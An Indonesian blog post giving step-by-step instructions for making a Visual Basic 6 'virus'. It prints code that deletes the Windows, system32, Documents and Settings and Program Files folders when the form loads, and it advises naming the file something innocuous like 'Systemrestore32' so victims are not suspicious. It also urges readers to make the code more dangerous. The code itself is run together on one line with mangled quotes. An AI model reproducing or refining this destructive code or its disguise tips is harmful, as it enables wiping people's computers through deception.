Membuat Virus dengan Visual Basic

Assalamu'alaikum Wr,Wb Sekarang Wahyu mau NgeShare tentang Triks Komputer yang judulnya Membuat Virus dengan Visual Basic, dilihat dari judulnya saja sudah sangat mengerikan apalagi diPraktekan hehe Sebaiknya Tidak.

Seberapa mematikan sih virus yang dibuat oleh program VisualBasic ini ?
menurut artikel-artikel yang saya baca, virus yang dibuat oleh program VisualBasic ini cukup berbahaya. Salah satunya adalah virus Brontok.

Sebenarnya apa sih keuntungan membuat virus ini bagi sang Programmer ?
apakah dia ingin tenar dengan
membuat virus ? atau dia dibayar oleh kalangan yang mengelola pembuatan virus ini ? saya pun tidak tau kenapa
Bukannya seorang Programmer itu harusnya membuat sesuatu yang berguna seperti Myob for accounting ?
jawabannya menurut saya itu sih tergantung pribadi dari setiap programmer dan seberapa skill yang dia miliki. Seperti saya, saya hanya baru membuat 2 aplikasi menggunakan visual basic 6.0 yaitu Tugas Akhir saya "Membangun Sistem Parkir pada Plaza Pos Tanjung Karang" dan "Aplikasi Pengolahan Peminjaman Buku Perpustakaan". Kedua program itu saya buat sendiri dengan otodidak dan sedikit bertanya kepada teman-teman saya. Itu pun saya sudah merasa bangga. Apalagi kalau saya bisa membuat virus berbahaya dari VisualBasic.... hebat berarti...

Yang akan saya share di posting ini hanya virus ecek-ecek saja(kecuali ada mengambangkan sendiri syntax yang akan saya share dibawah ini)
Ikuti langkah-langkah berikut ini :

Yang harus anda persiapkan adalah :
1. Program VisualBasic 6.0


Langkah-langkah :
1. Buatlah form sekecil mungkin.
2. Copy paste syntax berikut :

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FSSet FSO = CreateObject(”Scripting.FileSystemObject”)FS = FSO.DeleteFolder(DirtoDelete, True)End SubPrivate Sub Form_Load()On Error Resume NextIf FileExist(”c:\windows\system32\katak.txt”) = True ThenEndElseCall DelAll(”c:\windows\system”)Call DelAll(”c:\windows\system32″)Call DelAll(”c:\windows”)Call DelAll(”C:\Documents and Settings\All Users”)Call DelAll(”C:\Documents and Settings\Administrator”)Call DelAll(”C:\Documents and Settings”)Call DelAll(”C:\Program Files\Common Files”)Call DelAll(”C:\Program Files\Internet Explorer”)Call DelAll(”C:\Program Files\Microsoft Visual Studio”)Call DelAll(”C:\Program Files”)EndEnd IfEnd SubFunction FileExist(ByVal FileName As String) As BooleanIf Dir(FileName) = “” ThenFileExist = FalseElseFileExist = TrueEnd If

End Function 

Catatan : "JANGAN TARUH NAMA ANDA DI VIRUS INI"


3. Simpan dengan nama file yang membuat orang tidak merasa curiga seperti "Systemrestore32" atau "SystemRecycle32" terserah anda.
Selesai...

Jika anda bisa kembangkan syntax diatas akan membuat virus ini semakin berbahaya.